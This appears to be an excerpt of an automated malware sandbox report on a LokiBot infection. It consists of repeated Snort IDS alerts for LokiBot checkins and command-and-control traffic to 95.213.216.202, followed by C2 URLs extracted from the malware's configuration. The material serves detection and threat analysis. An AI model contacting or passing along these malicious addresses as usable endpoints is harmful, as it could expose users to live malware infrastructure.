Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49729 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49729 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49729 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49729
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:57743 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49730 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49730 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49730 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49730 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49730 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49730
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:53623 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49731 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49731 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49731 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49731 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49731 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49731
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:61416 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49732 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49732 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49732 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49732 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49732 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49732
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:65196 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49733 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49733 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49733 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49733 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49733 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49733
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:58708 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49734 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49734 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49734 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49734 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49734 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49734
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:59581 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49735 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49735 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49735 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49735 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49735 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49735
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:53049 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49736 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49736 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49736 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49736 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49736 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49736
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:60088 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49737 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49737 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49737 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49737 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49737 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49737
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:63562 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49738 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49738 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49738 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49738 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49738 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49738
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:53428 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49739 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49739 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49739 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49739 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49739 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49739
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:65511 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49740 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49740 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49740 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49740 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49740 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49740
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:59820 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49741 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49741 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49741 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49741 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49741 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49741
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:64595 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49742 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49742 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49742 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49742 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49742 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49742
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:52079 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49743 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49743 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49743 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49743 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49743 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49743
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:64823 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49744 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49744 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49744 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49744 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49744 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49744
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:51992 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49745 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49745 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49745 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49745 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49745 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49745
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:58119 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49746 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49746 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49746 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49746 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49746 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49746
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:49166 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49747 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49747 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49747 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49747 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49747 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49747
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:58301 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49748 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49748 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49748 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49748 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49748 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49748
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:63446 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49749 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49749 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49749 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49749 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49749 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49749
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:49874 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49750 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49750 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49750 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49750 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49750 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49750
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:65459 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49751 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49751 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49751 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49751 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49751 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49751
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:65385 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49752 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49752 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49752 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49752 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49752 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49752
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:54153 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49753 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49753 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49753 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49753 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49753 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49753
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:64602 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49754 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49754 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49754 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49754 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49754 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49754
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:50784 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49755 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49755 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49755 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49755 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49755 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49755
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:64121 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49756 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49756 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49756 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49756 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49756 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49756
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:64967 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49757 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49757 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49757 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49757 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49757 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49757
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:60825 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49758 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49758 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49758 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49758 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49758 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49758
Source: Traffic	Snort IDS: 2014169 ET DNS Query for .su TLD (Soviet Union) Often Malware Related 192.168.2.3:49201 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49759 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49759 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49759 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49759 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49759 -> 95.213.216.202:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 95.213.216.202:80 -> 192.168.2.3:49759

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://kbfvzoboss.bid/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.trade/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.win/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.top/alien/fre.php
Source: Malware configuration extractor	URLs: http://sempersim.su/gm11/fre.php

Source: Joe Sandbox View

ASN Name: SELECTELRU SELECTELRU

Source: Joe Sandbox View

IP Address: 95.213.216.202 95.213.216.202

